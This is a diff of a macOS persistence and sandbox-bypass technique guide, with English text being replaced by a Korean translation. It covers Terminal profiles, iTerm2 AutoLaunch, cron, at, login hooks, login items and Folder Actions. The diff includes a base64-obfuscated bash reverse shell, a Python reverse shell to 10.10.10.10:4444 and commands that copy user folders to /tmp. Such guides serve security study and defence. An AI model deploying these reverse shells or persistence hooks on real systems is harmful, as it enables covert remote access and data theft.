```bash # Prepare the payload cat > /tmp/test.terminal << EOF @@ -270,16 +255,16 @@ cat > /tmp/test.terminal << EOF - CommandString - mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents; - ProfileCurrentVersion - 2.0600000000000001 - RunCommandAsShell - - name - exploit - type - Window Settings +CommandString +mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents; +ProfileCurrentVersion +2.0600000000000001 +RunCommandAsShell + +name +exploit +type +Window Settings EOF @@ -290,48 +275,47 @@ open /tmp/test.terminal # Use something like the following for a reverse shell: echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash; ``` - -You could also use the extensions **`.command`**, **`.tool`**, with regular shell scripts content and they will be also opened by Terminal. +당신은 또한 **`.command`**, **`.tool`** 확장자를 사용할 수 있으며, 일반 쉘 스크립트 내용으로 작성된 것들도 Terminal에서 열립니다. > [!CAUTION] -> If terminal has **Full Disk Access** it will be able to complete that action (note that the command executed will be visible in a terminal window). +> 터미널이 **전체 디스크 접근** 권한을 가지고 있다면 해당 작업을 완료할 수 있습니다 (실행된 명령은 터미널 창에서 볼 수 있습니다). -### Audio Plugins +### 오디오 플러그인 Writeup: [https://theevilbit.github.io/beyond/beyond_0013/](https://theevilbit.github.io/beyond/beyond_0013/)\ Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [🟠](https://emojipedia.org/large-orange-circle) - - You might get some extra TCC access +- 샌드박스를 우회하는 데 유용: [✅](https://emojipedia.org/check-mark-button) +- TCC 우회: [🟠](https://emojipedia.org/large-orange-circle) +- 추가 TCC 접근 권한을 얻을 수 있습니다. -#### Location +#### 위치 - **`/Library/Audio/Plug-Ins/HAL`** - - Root required - - **Trigger**: Restart coreaudiod or the computer +- 루트 권한 필요 +- **트리거**: coreaudiod 또는 컴퓨터 재시작 - **`/Library/Audio/Plug-ins/Components`** - - Root required - - **Trigger**: Restart coreaudiod or the computer +- 루트 권한 필요 +- **트리거**: coreaudiod 또는 컴퓨터 재시작 - **`~/Library/Audio/Plug-ins/Components`** - - **Trigger**: Restart coreaudiod or the computer +- **트리거**: coreaudiod 또는 컴퓨터 재시작 - **`/System/Library/Components`** - - Root required - - **Trigger**: Restart coreaudiod or the computer +- 루트 권한 필요 +- **트리거**: coreaudiod 또는 컴퓨터 재시작 -#### Description +#### 설명 -According to the previous writeups it's possible to **compile some audio plugins** and get them loaded. +이전의 writeup에 따르면 **일부 오디오 플러그인을 컴파일**하고 로드할 수 있습니다. -### QuickLook Plugins +### QuickLook 플러그인 Writeup: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.github.io/beyond/beyond_0028/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [🟠](https://emojipedia.org/large-orange-circle) - - You might get some extra TCC access +- 샌드박스를 우회하는 데 유용: [✅](https://emojipedia.org/check-mark-button) +- TCC 우회: [🟠](https://emojipedia.org/large-orange-circle) +- 추가 TCC 접근 권한을 얻을 수 있습니다. -#### Location +#### 위치 - `/System/Library/QuickLook` - `/Library/QuickLook` @@ -339,29 +323,28 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.g - `/Applications/AppNameHere/Contents/Library/QuickLook/` - `~/Applications/AppNameHere/Contents/Library/QuickLook/` -#### Description & Exploitation +#### 설명 및 악용 -QuickLook plugins can be executed when you **trigger the preview of a file** (press space bar with the file selected in Finder) and a **plugin supporting that file type** is installed. +QuickLook 플러그인은 **파일 미리보기를 트리거할 때** 실행될 수 있습니다 (Finder에서 파일을 선택한 상태에서 스페이스 바를 누름) 그리고 **해당 파일 형식을 지원하는 플러그인**이 설치되어 있어야 합니다. -It's possible to compile your own QuickLook plugin, place it in one of the previous locations to load it and then go to a supported file and press space to trigger it. +자신의 QuickLook 플러그인을 컴파일하고, 이전 위치 중 하나에 배치하여 로드한 후, 지원되는 파일로 가서 스페이스를 눌러 트리거할 수 있습니다. -### ~~Login/Logout Hooks~~ +### ~~로그인/로그아웃 훅~~ > [!CAUTION] -> This didn't work for me, neither with the user LoginHook nor with the root LogoutHook +> 사용자 LoginHook나 루트 LogoutHook 모두 저에게는 작동하지 않았습니다. **Writeup**: [https://theevilbit.github.io/beyond/beyond_0022/](https://theevilbit.github.io/beyond/beyond_0022/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- 샌드박스를 우회하는 데 유용: [✅](https://emojipedia.org/check-mark-button) +- TCC 우회: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### 위치 -- You need to be able to execute something like `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` - - `Lo`cated in `~/Library/Preferences/com.apple.loginwindow.plist` - -They are deprecated but can be used to execute commands when a user logs in. +- `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`와 같은 명령을 실행할 수 있어야 합니다. +- `~/Library/Preferences/com.apple.loginwindow.plist`에 위치합니다. +그들은 더 이상 사용되지 않지만 사용자가 로그인할 때 명령을 실행하는 데 사용할 수 있습니다. ```bash cat > $HOME/hook.sh << EOF #!/bin/bash @@ -371,97 +354,85 @@ chmod +x $HOME/hook.sh defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh ``` - -This setting is stored in `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` - +이 설정은 `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist`에 저장됩니다. ```bash defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist { - LoginHook = "/Users/username/hook.sh"; - LogoutHook = "/Users/username/hook.sh"; - MiniBuddyLaunch = 0; - TALLogoutReason = "Shut Down"; - TALLogoutSavesState = 0; - oneTimeSSMigrationComplete = 1; +LoginHook = "/Users/username/hook.sh"; +LogoutHook = "/Users/username/hook.sh"; +MiniBuddyLaunch = 0; +TALLogoutReason = "Shut Down"; +TALLogoutSavesState = 0; +oneTimeSSMigrationComplete = 1; } ``` - -To delete it: - +삭제하려면: ```bash defaults delete com.apple.loginwindow LoginHook defaults delete com.apple.loginwindow LogoutHook ``` +루트 사용자는 **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**에 저장됩니다. -The root user one is stored in **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`** - -## Conditional Sandbox Bypass +## 조건부 샌드박스 우회 > [!TIP] -> Here you can find start locations useful for **sandbox bypass** that allows you to simply execute something by **writing it into a file** and **expecting not super common conditions** like specific **programs installed, "uncommon" user** actions or environments. +> 여기에서 **샌드박스 우회**에 유용한 시작 위치를 찾을 수 있으며, 이는 **파일에 작성**하여 **특정 프로그램 설치, "비정상적인" 사용자** 행동 또는 환경과 같은 그리 일반적이지 않은 조건을 **기대하지 않고** 간단히 무언가를 실행할 수 있게 해줍니다. -### Cron +### 크론 -**Writeup**: [https://theevilbit.github.io/beyond/beyond_0004/](https://theevilbit.github.io/beyond/beyond_0004/) +**작성**: [https://theevilbit.github.io/beyond/beyond_0004/](https://theevilbit.github.io/beyond/beyond_0004/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - However, you need to be able to execute `crontab` binary - - Or be root -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- 샌드박스를 우회하는 데 유용: [✅](https://emojipedia.org/check-mark-button) +- 그러나 `crontab` 바이너리를 실행할 수 있어야 함 +- 또는 루트여야 함 +- TCC 우회: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### 위치 - **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`** - - Root required for direct write access. No root required if you can execute `crontab ` - - **Trigger**: Depends on the cron job +- 직접 쓰기 접근을 위해 루트가 필요. `crontab `을 실행할 수 있다면 루트가 필요하지 않음 +- **트리거**: 크론 작업에 따라 다름 -#### Description & Exploitation - -List the cron jobs of the **current user** with: +#### 설명 및 악용 +현재 사용자의 크론 작업을 나열하려면: ```bash crontab -l ``` +사용자의 모든 cron 작업은 **`/usr/lib/cron/tabs/`** 및 **`/var/at/tabs/`**에서 확인할 수 있습니다(루트 권한 필요). -You can also see all the cron jobs of the users in **`/usr/lib/cron/tabs/`** and **`/var/at/tabs/`** (needs root). - -In MacOS several folders executing scripts with **certain frequency** can be found in: - +MacOS에서는 **특정 빈도**로 스크립트를 실행하는 여러 폴더를 찾을 수 있습니다: ```bash # The one with the cron jobs is /usr/lib/cron/tabs/ ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/ ``` +정기적인 **cron** **작업**, **at** **작업** (그리 많이 사용되지 않음) 및 **주기적** **작업** (주로 임시 파일 정리를 위해 사용됨)을 찾을 수 있습니다. 매일 주기적 작업은 예를 들어 `periodic daily`로 실행할 수 있습니다. -There you can find the regular **cron** **jobs**, the **at** **jobs** (not very used) and the **periodic** **jobs** (mainly used for cleaning temporary files). The daily periodic jobs can be executed for example with: `periodic daily`. - -To add a **user cronjob programatically** it's possible to use: - +**사용자 cronjob을 프로그래밍 방식으로 추가**하려면 다음을 사용할 수 있습니다: ```bash echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron crontab /tmp/cron ``` - ### iTerm2 Writeup: [https://theevilbit.github.io/beyond/beyond_0002/](https://theevilbit.github.io/beyond/beyond_0002/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - iTerm2 use to have granted TCC permissions +- 샌드박스를 우회하는 데 유용: [✅](https://emojipedia.org/check-mark-button) +- TCC 우회: [✅](https://emojipedia.org/check-mark-button) +- iTerm2는 TCC 권한이 부여되어 있었습니다. #### Locations - **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** - - **Trigger**: Open iTerm +- **Trigger**: iTerm 열기 - **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** - - **Trigger**: Open iTerm +- **Trigger**: iTerm 열기 - **`~/Library/Preferences/com.googlecode.iterm2.plist`** - - **Trigger**: Open iTerm +- **Trigger**: iTerm 열기 #### Description & Exploitation -Scripts stored in **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** will be executed. For example: - +**`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**에 저장된 스크립트는 실행됩니다. 예를 들어: ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF #!/bin/bash @@ -470,52 +441,44 @@ EOF chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" ``` - -or: - +또는: ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF #!/usr/bin/env python3 import iterm2,socket,subprocess,os async def main(connection): - s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']); - async with iterm2.CustomControlSequenceMonitor( - connection, "shared-secret", r'^create-window$') as mon: - while True: - match = await mon.async_get() - await iterm2.Window.async_create(connection) +s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']); +async with iterm2.CustomControlSequenceMonitor( +connection, "shared-secret", r'^create-window$') as mon: +while True: +match = await mon.async_get() +await iterm2.Window.async_create(connection) iterm2.run_forever(main) EOF ``` - -The script **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** will also be executed: - +스크립트 **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`**도 실행됩니다: ```bash do shell script "touch /tmp/iterm2-autolaunchscpt" ``` +**`~/Library/Preferences/com.googlecode.iterm2.plist`**에 위치한 iTerm2 환경설정은 iTerm2 터미널이 열릴 때 **실행할 명령을 나타낼 수 있습니다**. -The iTerm2 preferences located in **`~/Library/Preferences/com.googlecode.iterm2.plist`** can **indicate a command to execute** when the iTerm2 terminal is opened. - -This setting can be configured in the iTerm2 settings: +이 설정은 iTerm2 설정에서 구성할 수 있습니다:
-And the command is reflected in the preferences: - +그리고 명령은 환경설정에 반영됩니다: ```bash plutil -p com.googlecode.iterm2.plist { - [...] - "New Bookmarks" => [ - 0 => { - [...] - "Initial Text" => "touch /tmp/iterm-start-command" +[...] +"New Bookmarks" => [ +0 => { +[...] +"Initial Text" => "touch /tmp/iterm-start-command" ``` - -You can set the command to execute with: - +다음과 같이 실행할 명령을 설정할 수 있습니다: ```bash # Add /usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist @@ -526,28 +489,26 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2 # Remove /usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist ``` - > [!WARNING] -> Highly probable there are **other ways to abuse the iTerm2 preferences** to execute arbitrary commands. +> iTerm2 설정을 악용하여 임의의 명령을 실행할 수 있는 **다른 방법이 있을 가능성이 높습니다**. ### xbar Writeup: [https://theevilbit.github.io/beyond/beyond_0007/](https://theevilbit.github.io/beyond/beyond_0007/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But xbar must be installed -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - It requests Accessibility permissions +- 샌드박스를 우회하는 데 유용: [✅](https://emojipedia.org/check-mark-button) +- 하지만 xbar는 설치되어 있어야 합니다. +- TCC 우회: [✅](https://emojipedia.org/check-mark-button) +- 접근성 권한을 요청합니다. -#### Location +#### 위치 - **`~/Library/Application\ Support/xbar/plugins/`** - - **Trigger**: Once xbar is executed +- **트리거**: xbar가 실행될 때 -#### Description - -If the popular program [**xbar**](https://github.com/matryer/xbar) is installed, it's possible to write a shell script in **`~/Library/Application\ Support/xbar/plugins/`** which will be executed when xbar is started: +#### 설명 +인기 있는 프로그램 [**xbar**](https://github.com/matryer/xbar)가 설치되어 있으면, **`~/Library/Application\ Support/xbar/plugins/`**에 셸 스크립트를 작성할 수 있으며, 이는 xbar가 시작될 때 실행됩니다: ```bash cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF #!/bin/bash @@ -555,110 +516,56 @@ touch /tmp/xbar EOF chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh" ``` - ### Hammerspoon **Writeup**: [https://theevilbit.github.io/beyond/beyond_0008/](https://theevilbit.github.io/beyond/beyond_0008/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But Hammerspoon must be installed -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - It requests Accessibility permissions +- 샌드박스를 우회하는 데 유용: [✅](https://emojipedia.org/check-mark-button) +- 하지만 Hammerspoon은 설치되어 있어야 함 +- TCC 우회: [✅](https://emojipedia.org/check-mark-button) +- 접근성 권한을 요청함 #### Location - **`~/.hammerspoon/init.lua`** - - **Trigger**: Once hammerspoon is executed +- **Trigger**: Hammerspoon이 실행될 때 #### Description -[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) serves as an automation platform for **macOS**, leveraging the **LUA scripting language** for its operations. Notably, it supports the integration of complete AppleScript code and the execution of shell scripts, enhancing its scripting capabilities significantly. - -The app looks for a single file, `~/.hammerspoon/init.lua`, and when started the script will be executed. +[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon)는 **macOS**를 위한 자동화 플랫폼으로, **LUA 스크립팅 언어**를 활용하여 작업을 수행합니다. 특히, 완전한 AppleScript 코드의 통합과 셸 스크립트 실행을 지원하여 스크립팅 기능을 크게 향상시킵니다. +이 앱은 단일 파일 `~/.hammerspoon/init.lua`를 찾으며, 시작되면 스크립트가 실행됩니다. ```bash mkdir -p "$HOME/.hammerspoon" cat > "$HOME/.hammerspoon/init.lua" << EOF hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2") EOF ``` - ### BetterTouchTool -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But BetterTouchTool must be installed -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - It requests Automation-Shortcuts and Accessibility permissions +- 샌드박스를 우회하는 데 유용: [✅](https://emojipedia.org/check-mark-button) +- 하지만 BetterTouchTool을 설치해야 함 +- TCC 우회: [✅](https://emojipedia.org/check-mark-button) +- Automation-Shortcuts 및 Accessibility 권한 요청 #### Location - `~/Library/Application Support/BetterTouchTool/*` -This tool allows to indicate applications or scripts to execute when some shortcuts are pressed . An attacker might be able configure his own **shortcut and action to execute in the database** to make it execute arbitrary code (a shortcut could be to just to press a key). +이 도구는 특정 단축키가 눌릴 때 실행할 애플리케이션이나 스크립트를 지정할 수 있게 해줍니다. 공격자는 자신의 **단축키 및 데이터베이스에서 실행할 작업을 구성**하여 임의의 코드를 실행할 수 있습니다 (단축키는 단순히 키를 누르는 것일 수 있습니다). ### Alfred -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But Alfred must be installed -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - It requests Automation, Accessibility and even Full-Disk access permissions +- 샌드박스를 우회하는 데 유용: [✅](https://emojipedia.org/check-mark-button) +- 하지만 Alfred를 설치해야 함 +- TCC 우회: [✅](https://emojipedia.org/check-mark-button) +- Automation, Accessibility 및 Full-Disk 접근 권한 요청 #### Location - `???` -It allows to create workflows that can execute code when certain conditions are met. Potentially it's possible for an attacker to create a workflow file and make Alfred load it (it's needed to pay the premium version to use workflows). - -### SSHRC - -Writeup: [https://theevilbit.github.io/beyond/beyond_0006/](https://theevilbit.github.io/beyond/beyond_0006/) - -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But ssh needs to be enabled and used -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - SSH use to have FDA access - -#### Location - -- **`~/.ssh/rc`** - - **Trigger**: Login via ssh -- **`/etc/ssh/sshrc`** - - Root required - - **Trigger**: Login via ssh - -> [!CAUTION] -> To turn ssh on requres Full Disk Access: -> -> ```bash -> sudo systemsetup -setremotelogin on -> ``` - -#### Description & Exploitation - -By default, unless `PermitUserRC no` in `/etc/ssh/sshd_config`, when a user **logins via SSH** the scripts **`/etc/ssh/sshrc`** and **`~/.ssh/rc`** will be executed. - -### **Login Items** - -Writeup: [https://theevilbit.github.io/beyond/beyond_0003/](https://theevilbit.github.io/beyond/beyond_0003/) - -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But you need to execute `osascript` with args -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) - -#### Locations - -- **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** - - **Trigger:** Login - - Exploit payload stored calling **`osascript`** -- **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** - - **Trigger:** Login - - Root required - -#### Description - -In System Preferences -> Users & Groups -> **Login Items** you can find **items to be executed when the user logs in**.\ -It it's possible to list them, add and remove from the command line: - +특정 조건이 충족될 때 코드를 실행할 수 있는 워크플로를 생성할 수 있습니다. 공격자가 워크플로 파일을 생성하고 Alfred가 이를 로드하도록 만들 가능성이 있습니다 (워크플로 ```bash #List all items: osascript -e 'tell application "System Events" to get the name of every login item' @@ -669,57 +576,49 @@ osascript -e 'tell application "System Events" to make login item at end with pr #Remove an item: osascript -e 'tell application "System Events" to delete login item "itemname"' ``` +이 항목들은 파일 **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**에 저장됩니다. -These items are stored in the file **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** +**로그인 항목**은 **API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc)**를 사용하여 표시될 수 있으며, 이 API는 **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**에 구성을 저장합니다. -**Login items** can **also** be indicated in using the API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) which will store the configuration in **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** +### ZIP을 로그인 항목으로 -### ZIP as Login Item +(로그인 항목에 대한 이전 섹션을 참조하세요. 이는 확장입니다.) -(Check previous section about Login Items, this is an extension) +**ZIP** 파일을 **로그인 항목**으로 저장하면 **`Archive Utility`**가 이를 열고, 예를 들어 ZIP이 **`~/Library`**에 저장되어 있고 **`LaunchAgents/file.plist`** 폴더에 백도어가 포함되어 있다면, 해당 폴더가 생성됩니다(기본적으로는 생성되지 않음) 그리고 plist가 추가되어 사용자가 다음에 다시 로그인할 때 **plist에 표시된 백도어가 실행됩니다**. -If you store a **ZIP** file as a **Login Item** the **`Archive Utility`** will open it and if the zip was for example stored in **`~/Library`** and contained the Folder **`LaunchAgents/file.plist`** with a backdoor, that folder will be created (it isn't by default) and the plist will be added so the next time the user logs in again, the **backdoor indicated in the plist will be executed**. +또 다른 옵션은 사용자 HOME 내에 **`.bash_profile`** 및 **`.zshenv`** 파일을 생성하는 것입니다. 따라서 LaunchAgents 폴더가 이미 존재하면 이 기술이 여전히 작동합니다. -Another options would be to create the files **`.bash_profile`** and **`.zshenv`** inside the user HOME so if the folder LaunchAgents already exist this technique would still work. +### at -### At +작성물: [https://theevilbit.github.io/beyond/beyond_0014/](https://theevilbit.github.io/beyond/beyond_0014/) -Writeup: [https://theevilbit.github.io/beyond/beyond_0014/](https://theevilbit.github.io/beyond/beyond_0014/) +- 샌드박스를 우회하는 데 유용: [✅](https://emojipedia.org/check-mark-button) +- 그러나 **`at`**를 **실행**해야 하며, **활성화**되어 있어야 합니다. +- TCC 우회: [🔴](https://emojipedia.org/large-red-circle) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But you need to **execute** **`at`** and it must be **enabled** -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +#### 위치 -#### Location +- **`at`**를 **실행**해야 하며, **활성화**되어 있어야 합니다. -- Need to **execute** **`at`** and it must be **enabled** +#### **설명** -#### **Description** - -`at` tasks are designed for **scheduling one-time tasks** to be executed at certain times. Unlike cron jobs, `at` tasks are automatically removed post-execution. It's crucial to note that these tasks are persistent across system reboots, marking them as potential security concerns under certain conditions. - -By **default** they are **disabled** but the **root** user can **enable** **them** with: +`at` 작업은 특정 시간에 실행될 **일회성 작업**을 예약하기 위해 설계되었습니다. cron 작업과 달리 `at` 작업은 실행 후 자동으로 제거됩니다. 이러한 작업은 시스템 재부팅 간에도 지속되므로 특정 조건에서 잠재적인 보안 문제로 간주될 수 있습니다. +**기본적으로** 이들은 **비활성화**되어 있지만, **root** 사용자가 **이들을 활성화**할 수 있습니다: ```bash sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist ``` - -This will create a file in 1 hour: - +이것은 1시간 후에 파일을 생성합니다: ```bash echo "echo 11 > /tmp/at.txt" | at now+1 ``` - -Check the job queue using `atq:` - +`atq`를 사용하여 작업 대기열을 확인하세요: ```shell-session sh-3.2# atq 26 Tue Apr 27 00:46:00 2021 22 Wed Apr 28 00:29:00 2021 ``` - -Above we can see two jobs scheduled. We can print the details of the job using `at -c JOBNUMBER` - +위에서 두 개의 작업이 예약된 것을 볼 수 있습니다. `at -c JOBNUMBER`를 사용하여 작업의 세부 정보를 인쇄할 수 있습니다. ```shell-session sh-3.2# at -c 26 #!/bin/sh @@ -744,18 +643,16 @@ LC_CTYPE=UTF-8; export LC_CTYPE SUDO_GID=20; export SUDO_GID _=/usr/bin/at; export _ cd /Users/csaby || { - echo 'Execution directory inaccessible' >&2 - exit 1 +echo 'Execution directory inaccessible' >&2 +exit 1 } unset OLDPWD echo 11 > /tmp/at.txt ``` - > [!WARNING] -> If AT tasks aren't enabled the created tasks won't be executed. - -The **job files** can be found at `/private/var/at/jobs/` +> AT 작업이 활성화되지 않으면 생성된 작업이 실행되지 않습니다. +**작업 파일**은 `/private/var/at/jobs/`에 있습니다. ``` sh-3.2# ls -l /private/var/at/jobs/ total 32 @@ -764,46 +661,44 @@ total 32 -r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2 -rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2 ``` +파일 이름에는 큐, 작업 번호 및 실행 예정 시간이 포함되어 있습니다. 예를 들어 `a0001a019bdcd2`를 살펴보겠습니다. -The filename contains the queue, the job number, and the time it’s scheduled to run. For example let’s take a loot at `a0001a019bdcd2`. +- `a` - 이것은 큐입니다. +- `0001a` - 16진수로 된 작업 번호, `0x1a = 26` +- `019bdcd2` - 16진수로 된 시간. 이는 에포크 이후 경과된 분을 나타냅니다. `0x019bdcd2`는 10진수로 `26991826`입니다. 이를 60으로 곱하면 `1619509560`이 되며, 이는 `GMT: 2021. 4월 27일, 화요일 7:46:00`입니다. -- `a` - this is the queue -- `0001a` - job number in hex, `0x1a = 26` -- `019bdcd2` - time in hex. It represents the minutes passed since epoch. `0x019bdcd2` is `26991826` in decimal. If we multiply it by 60 we get `1619509560`, which is `GMT: 2021. April 27., Tuesday 7:46:00`. +작업 파일을 출력하면 `at -c`를 사용하여 얻은 것과 동일한 정보가 포함되어 있음을 알 수 있습니다. -If we print the job file, we find that it contains the same information we got using `at -c`. - -### Folder Actions +### 폴더 작업 Writeup: [https://theevilbit.github.io/beyond/beyond_0024/](https://theevilbit.github.io/beyond/beyond_0024/)\ Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But you need to be able to call `osascript` with arguments to contact **`System Events`** to be able to configure Folder Actions -- TCC bypass: [🟠](https://emojipedia.org/large-orange-circle) - - It has some basic TCC permissions like Desktop, Documents and Downloads +- 샌드박스를 우회하는 데 유용: [✅](https://emojipedia.org/check-mark-button) +- **`System Events`**에 연락하여 폴더 작업을 구성할 수 있도록 인수와 함께 `osascript`를 호출할 수 있어야 합니다. +- TCC 우회: [🟠](https://emojipedia.org/large-orange-circle) +- 데스크탑, 문서 및 다운로드와 같은 기본 TCC 권한이 있습니다. -#### Location +#### 위치 - **`/Library/Scripts/Folder Action Scripts`** - - Root required - - **Trigger**: Access to the specified folder +- 루트 권한 필요 +- **트리거**: 지정된 폴더에 대한 접근 - **`~/Library/Scripts/Folder Action Scripts`** - - **Trigger**: Access to the specified folder +- **트리거**: 지정된 폴더에 대한 접근 -#### Description & Exploitation +#### 설명 및 악용 -Folder Actions are scripts automatically triggered by changes in a folder such as adding, removing items, or other actions like opening or resizing the folder window. These actions can be utilized for various tasks, and can be triggered in different ways like using the Finder UI or terminal commands. +폴더 작업은 폴더 내에서 항목 추가, 제거 또는 폴더 창 열기 또는 크기 조정과 같은 변경 사항에 의해 자동으로 트리거되는 스크립트입니다. 이러한 작업은 다양한 작업에 활용될 수 있으며, Finder UI 또는 터미널 명령을 사용하여 다양한 방법으로 트리거될 수 있습니다. -To set up Folder Actions, you have options like: +폴더 작업을 설정하기 위한 옵션은 다음과 같습니다: -1. Crafting a Folder Action workflow with [Automator](https://support.apple.com/guide/automator/welcome/mac) and installing it as a service. -2. Attaching a script manually via the Folder Actions Setup in the context menu of a folder. -3. Utilizing OSAScript to send Apple Event messages to the `System Events.app` for programmatically setting up a Folder Action. - - This method is particularly useful for embedding the action into the system, offering a level of persistence. - -The following script is an example of what can be executed by a Folder Action: +1. [Automator](https://support.apple.com/guide/automator/welcome/mac)로 폴더 작업 워크플로를 작성하고 이를 서비스로 설치합니다. +2. 폴더의 컨텍스트 메뉴에서 폴더 작업 설정을 통해 스크립트를 수동으로 첨부합니다. +3. OSAScript를 사용하여 `System Events.app`에 Apple Event 메시지를 보내 폴더 작업을 프로그래밍 방식으로 설정합니다. +- 이 방법은 작업을 시스템에 내장하여 지속성을 제공하는 데 특히 유용합니다. +다음 스크립트는 폴더 작업에 의해 실행될 수 있는 예입니다: ```applescript // source.js var app = Application.currentApplication(); @@ -813,15 +708,11 @@ app.doShellScript("touch ~/Desktop/folderaction.txt"); app.doShellScript("mkdir /tmp/asd123"); app.doShellScript("cp -R ~/Desktop /tmp/asd123"); ``` - -To make the above script usable by Folder Actions, compile it using: - +위 스크립트를 Folder Actions에서 사용 가능하게 하려면 다음을 사용하여 컴파일하십시오: ```bash osacompile -l JavaScript -o folder.scpt source.js ``` - -After the script is compiled, set up Folder Actions by executing the script below. This script will enable Folder Actions globally and specifically attach the previously compiled script to the Desktop folder. - +스크립트가 컴파일된 후, 아래 스크립트를 실행하여 폴더 작업을 설정합니다. 이 스크립트는 폴더 작업을 전역적으로 활성화하고 이전에 컴파일된 스크립트를 데스크탑 폴더에 특별히 연결합니다. ```javascript // Enabling and attaching Folder Action var se = Application("System Events") @@ -831,17 +722,13 @@ var fa = se.FolderAction({ name: "Desktop", path: "/Users/username/Desktop" }) se.folderActions.push(fa) fa.scripts.push(myScript) ``` - -Run the setup script with: - +설치 스크립트를 다음과 같이 실행하세요: ```bash osascript -l JavaScript /Users/username/attach.scpt ``` +- 이 방법은 GUI를 통해 이 지속성을 구현하는 방법입니다: -- This is the way yo implement this persistence via GUI: - -This is the script that will be executed: - +이 스크립트가 실행될 것입니다: ```applescript:source.js var app = Application.currentApplication(); app.includeStandardAdditions = true; @@ -850,59 +737,55 @@ app.doShellScript("touch ~/Desktop/folderaction.txt"); app.doShellScript("mkdir 